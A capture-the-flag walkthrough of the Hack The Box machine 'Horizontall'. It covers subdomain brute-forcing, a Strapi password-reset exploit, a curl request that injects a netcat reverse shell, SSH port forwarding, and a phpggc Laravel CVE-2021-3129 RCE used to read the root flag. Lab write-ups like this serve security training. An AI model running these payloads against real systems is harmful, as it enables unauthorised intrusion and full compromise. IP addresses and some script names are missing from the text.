export IP=


22/tcp open  ssh
80/tcp open  http

Enumerating/Exploring Web Resources

  • will redirect to http://horizontall.htb/

  • So add this to /etc/hosts

echo " horizontall.htb">> /etc/hosts
  • Nothing Found in web panel

  • Trying Directory Bruteforcing

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -u -t 100 -x php,txt,js,html,jpg  -q

  • Nothing Useful Found in Directory Bruteforcing

  • As this is a nginx server with a nginx reverse proxy and IP was earlier autoresolved when tried to browse.

  • So we can try for Subdomain Enumeration or Bruteforcing

  • Using Gobuster for subdomain Bruteforcing

gobuster dns -d horizontall.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 200
  • Found interesting Subdomain
Found: api-prod.horizontall.htb 
  • Add this subdomain to /etc/hosts
echo " api-prod.horizontall.htb">> /etc/hosts
  • Nothing interesting found on the subdomain

  • Trying Further Directory Bruteforcing to this subdomain using gobuster

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -u http://api-prod.horizontall.htb/ -t 100 -x php,txt,js,html,jpg  -q

  • Found Interesting Directories
/index.html           (Status: 200) [Size: 413]
/reviews              (Status: 200) [Size: 507]
/users                (Status: 403) [Size: 60] 
/admin                (Status: 200) [Size: 854]
/Reviews              (Status: 200) [Size: 507]
/robots.txt           (Status: 200) [Size: 121]
/Admin                (Status: 200) [Size: 854]
/REVIEWS              (Status: 200) [Size: 507]

  • Checking Directoriesn manual

  • /reviews or /Reviews contains some reviews of users and the usernames

[{"id":1,"name":"wail","description":"This is good service","stars":4,"created_at":"2021-05-29T13:23:38.000Z","updated_at":"2021-05-29T13:23:38.000Z"},{"id":2,"name":"doe","description":"i'm satisfied with the product","stars":5,"created_at":"2021-05-29T13:24:17.000Z","updated_at":"2021-05-29T13:24:17.000Z"},{"id":3,"name":"john","description":"create service with minimum price i hop i can buy more in the futur","stars":5,"created_at":"2021-05-29T13:25:26.000Z","updated_at":"2021-05-29T13:25:26.000Z"}]
  • Users
wail - id=1
doe - id=2
john - id =3

  • /users gave 403 (Forbidden)

  • /robots.txt, Nothing found here

  • Found One more directory using Burp Active Scanning

  • Response from this directory

  • So we can predict that the admin account is enabled.

Getting Reverse Shell

  • After Further research we found that this stripe web panel is Vulnerable to Password Reset Vulnerability

  • We can Download this Exploit and run it, it will give new reseted password and the JSON Token
  • The Authentication JSON token can be used in below request to get reverse shell.
curl -i -s -k -X $'POST' -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMxMTY0NjMyLCJleHAiOjE2MzM3NTY2MzJ9.cuZYWzy1Y7hk-ajhlHExSWxDVGbJqkWXmuhxUZzSzG8' -H $'Content-Type: application/json' -H $'Origin: http://api-prod.horizontall.htb' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f)\",\"port\":\"80\"}' $'http://api-prod.horizontall.htb/admin/plugins/install'

  • For More Details About this Check out this blog

  • We should have got the reverse shell

  • We can find the user flag /home/developer/user.txt


  • Running

  • Got Some open Ports

╔══════════╣ Active Ports
tcp        0      0*               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp        0      0    *               LISTEN      -                   
tcp        0      0    *               LISTEN      -                   
tcp        0      0*               LISTEN      1856/node /usr/bin/ 
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -        

  • Here on port:8000 at localhost
curl > index.html

  • We can see that the Laravel is Running at version Laravel v8 (PHP v7.4.18)

  • We found that this Laravel Version is Vulnerable to RCE with CVE-2021-3129

  • After further Research Found this Github Repo to Exploit this vulnerability.

Port Forwarding using SSH

  • Port 8000 is the local port of USER Machine So we need that port to our Attacker Machine.

  • We can use SSH Port Forwarding For That.

  1. Create a SSH Key Pair ssh-keygen -t rsa

  2. Put PUBLIC KEY inside the User Machine(Hacked Machine) under /opt/strapi/.ssh/authorized_keys , Here authorized_key is the file containing the Public key (Its not a folder)

  3. Use Private Key from Attacker Machine to connect back to User Machine and create Port Forwarding to Port 8000

ssh -L 8000:localhost:8000 [email protected] -i keypair

  • (Here Keypair is the Private Key generated Earlier)
  1. Now after Successful connection, try to browser the port 8000 from your Machine. curl , So we should have the successfull port forwording. Now we can use the exploit.

  • Now We can use the RCE to get the root flag. Follow the github repo instructions mentioned in repo.
$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id 
$ ./ http://localhost:8000/ /tmp/exploit.phar
Log file: /work/pentest/laravel/laravel/storage/logs/laravel.log
Logs cleared
Successfully converted to PHAR !
Phar deserialized
uid=1000(cf) gid=1000(cf) ...
Logs cleared

  • Lets Modify this to get the Root Flag.
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "cat /root/root.txt" 

./ http://localhost:8000/ /tmp/exploit.phar
  • Output
python3 http://localhost:8000/ /tmp/exploit.phar                                                  
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
+ Logs cleared

  • We should have got the Root Flag.

<3 Horizontall Has Been Pwned!